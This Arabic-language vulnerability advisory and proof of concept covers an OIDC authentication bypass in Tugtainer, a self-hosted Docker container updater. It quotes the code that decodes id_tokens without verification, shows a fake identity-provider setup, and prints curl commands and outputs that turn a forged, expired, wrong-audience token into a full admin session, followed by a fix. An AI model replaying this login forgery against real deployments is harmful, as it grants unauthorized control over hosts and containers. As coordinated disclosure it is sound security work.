
PoC — يتم قبول OIDC id_token دون التحقق من التوقيع/الجمهور/انتهاء الصلاحية في Tugtainer (GHSA-crjc-6vc7-xrfh، CVE-2026-87004، CVSS 8.1).
حالة CVE: مطلوبة، في انتظار التعيين. تم نشر هذا الاكتشاف باسم GHSA-crjc-6vc7-xrfh. عند تعيين CVE، يُعاد تسمية هذا المستودع إلى
CVE-YYYY-NNNNN-tugtainer-PoCوتُستبدل هذه اللافتة برابط CVE.
| الباحث | Dostxodjayev Abdullox (@squeeze440) |
| الاستشارة | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (مرتفع) |
| الضعف | CWE-347 |
يسمح التحقق غير السليم من التوقيع التشفيري في مزوّد مصادقة OIDC في backend/modules/auth/providers/auth_oidc_provider.py في Quenary/tugtainer (الإيداع 3138226) لمهاجم في موقع يمكّنه من التحكم في استجابة تبادل الرمز المميز بين الواجهة الخلفية لـ tugtainer ومزوّد OIDC المُهيَّأ أو اعتراضها (مثل موقع MITM على الشبكة، أو مزوّد هوية مخترق/خبيث، أو اختراق DNS/إنهاء TLS على ذلك المسار) بتزوير id_token عشوائي والحصول على جلسة tugtainer مصادَق عليها بالكامل ومكافئة لصلاحيات المسؤول لأي هوية، عبر GET /api/auth/oidc/callback.
Quenary/tugtainer — أداة تحديث تلقائي لحاويات Docker مستضافة ذاتيًا مع واجهة ويب، ومعمارية وكيل/واجهة خلفية.
الإيداع 31382268bf16df32f33316fe4d601ad1635871d4 (الفرع الافتراضي للمستودع، تم استنساخه في 2026-08-05).
8.1 (مرتفع) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (وليس AC:L): الاستغلال ليس مجرد طلب شبكي غير مصادَق عليه. فهو يتطلب من المهاجم التحكم في ما تُرجعه نقطة نهاية الرمز المميز إلى الواجهة الخلفية أثناء تبادل الرمز من خادم إلى خادم — وهو واقعيًا موقع MITM بين الواجهة الخلفية لـ tugtainer ومزوّد الهوية الحقيقي، أو مزوّد هوية مخترق/خبيث تم تهيئة الواجهة الخلفية للثقة به. هذا شرط مسبق حقيقي وغير تافه، لذا يُستخدم AC:H بدلًا من AC:L.UI:N: بمجرد أن يحصل المهاجم على ذلك الموقع الشبكي، لا حاجة لتفاعل الضحية — يمكن للمهاجم إدارة تدفق تسجيل الدخول بالكامل بنفسه (مؤكَّد في PoC أدناه، من البداية إلى النهاية باستخدام curl).C:H/I:H/A:H: الجلسة الناتجة هي جلسة tugtainer كاملة وغير مقيّدة (لا يوجد RBAC/قائمة سماح لهويات OIDC — انظر التفاصيل) مع الوصول إلى كل نقطة نهاية لإدارة الحاويات/المضيف: سرد/قراءة جميع مضيفات وحاويات Docker، بدء/إيقاف/قتل/إزالة الحاويات، سحب الصور، و(إذا كانت ALLOW_HOOKS/ALLOW_EXEC مُفعَّلة على مضيف) تشغيل أوامر داخل الحاويات.S:U: يبقى التأثير ضمن حدود التفويض الخاصة بـ tugtainer (يصبح المهاجم مستخدمًا مصادَقًا عليه في tugtainer)؛ ولا يُعامَل كتغيير في النطاق إلى مكوّن مُفوَّض بشكل منفصل.backend/modules/auth/providers/auth_oidc_provider.py، الدالة _exchange_oidc_code (الأسطر 267–331)، وتحديدًا الأسطر 299–306:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
تقوم jwt.get_unverified_claims() (python-jose) بفك ترميز base64 لحمولة JWT دون التحقق من التوقيع، أو exp/iat، أو aud/iss — وهو عكس ما يتطلبه OpenID Connect Core 1.0 §3.1.3.7 من الطرف المعتمد (RP) فعله قبل الوثوق بـ ID Token. تعليق المطوّر نفسه ("not recommended for production") يؤكد أن هذا كان اختصارًا معروفًا، وليس خيارًا تصميميًا مقصودًا.
تتدفق المطالبات الناتجة مباشرة إلى إنشاء الجلسة دون أي فحوصات إضافية:
callback() (السطر 137) الدالة _exchange_oidc_code() ثم _create_oidc_user_session() (السطر 333)، التي تستخرج email/sub/preferred_username (الأسطر 341–345) مباشرة من المطالبات غير المُتحقَّق منها وتُصدر ملفات تعريف ارتباط JWT حقيقية وموقَّعة لـ tugtainer باسم access_token/refresh_token (HttpOnly، SameSite=strict) عبر _set_cookies().grep لأنماط allowlist/allowed-email في backend/ لا يُرجع شيئًا) — أيًا كان sub/email الموجود في المطالبات (غير المُتحقَّق منها) يصبح هوية الجلسة الجديدة، بنفس صلاحيات أي مستخدم آخر مسجَّل الدخول (لدى tugtainer مستوى ثقة واحد مسطّح، بلا RBAC لكل مستخدم).aud وiss لا يُفحصان أبدًا، فإن ID Token صادرًا لعميل آخر غير مرتبط تمامًا بنفس مزوّد الهوية — أو، كما هو موضَّح أدناه، واحدًا بتوقيع غير صالح/غير مطابق وexp منتهي الصلاحية بالفعل — يُقبَل بسهولة مثل الرمز الشرعي.لا يمكن الوصول إلى هذا إلا عندما تكون OIDC_ENABLED=true (تفعيل اختياري من المسؤول)، لذا لا يؤثر على النشر الافتراضي/القائم على كلمة المرور فقط.
تم التحقق منه ديناميكيًا مقابل التطبيق الحقيقي المبني من هذا الإيداع (docker build -f Dockerfile.app)، وتشغيله عبر docker run عادي (وليس الصورة المنشورة) مع:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
مزوّد OIDC وهمي بسيط (evidence/fake_idp.py، محفوظ في مجلد هذا التقييم) يقدّم مستند اكتشاف صالحًا، وعند POST /token يُرجع دائمًا id_token غير صالح بشكل متعمد من كل النواحي التي يُفترض أن يفحصها الطرف المعتمد:
aud = "totally-wrong-client-id-not-tugtainers" (لا يطابق OIDC_CLIENT_ID)exp = قبل ساعة واحدة (منتهي الصلاحية بالفعل)الخطوات (أوامر حقيقية، مخرجات حقيقية، كلا الحاويتين تعملان محليًا):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
حمولة access_token بعد فك الترميز (كما أصدرها موقّع JWT الخاص بـ tugtainer لهذا "المستخدم"):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
ثم تم تأكيد الجلسة مباشرة مقابل نقاط النهاية المحمية:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
يؤكد سجل مزوّد الهوية الوهمي نفسه الرمز المزوَّر بالضبط الذي أعاده:
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
مساعد PoC: evidence/fake_idp.py (محفوظ بجانب هذا التقرير).
لا توجد لقطات شاشة — هذا تجاوز لواجهة برمجة تطبيقات من خادم إلى خادم دون أي مكوّن متصفح/واجهة مستخدم لالتقاطه؛ ونص curl أعلاه هو الدليل الحقيقي غير المعدَّل للأوامر/الاستجابات.
أي مهاجم قادر على التأثير في استجابة استدعاء تبادل رمز OIDC الذي تجريه الواجهة الخلفية لـ tugtainer (MITM على ذلك المسار الشبكي، أو مزوّد هوية خبيث/مخترق، أو اختراق DNS/إنهاء TLS بين الواجهة الخلفية ومزوّد الهوية) يمكنه إصدار جلسة tugtainer صالحة بالكامل وغير مقيّدة بهوية عشوائية — دون الحاجة لمعرفة بيانات اعتماد أي مستخدم حقيقي ودون تفاعل من مستخدم شرعي. نظرًا لأن tugtainer لا يملك RBAC لكل مستخدم، فإن تلك الجلسة تمتلك وصولًا كاملًا للتطبيق: تعداد جميع مضيفات وحاويات Docker المسجَّلة، بدء/إيقاف/قتل/إزالة الحاويات، سحب/وسم الصور، و(حيث تكون ALLOW_HOOKS/ALLOW_EXEC للوكيل مُفعَّلة) تنفيذ أوامر داخل الحاويات.
aud/iss/exp)في _exchange_oidc_code، استبدل jwt.get_unverified_claims(token["id_token"]) بفك ترميز مع التحقق: اجلب jwks_uri الخاص بمزوّد الهوية من مستند الاكتشاف، وحل مفتاح التوقيع بواسطة kid، واستدعِ jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (يدعم python-jose كل هذا). يفرض هذا التوقيع وexp/iat/nbf وaud وiss وفق مواصفة OIDC Core. فكّر أيضًا في إضافة قائمة سماح اختيارية لقيم email/sub المقبولة للنشرات التي تشارك مزوّد هوية مع تطبيقات أخرى.
Dostxodjayev Abdullox (GitHub: squeeze440)
GitHub Security Advisory / الإبلاغ الخاص عن الثغرات على Quenary/tugtainer (تم تأكيد تفعيل PVR).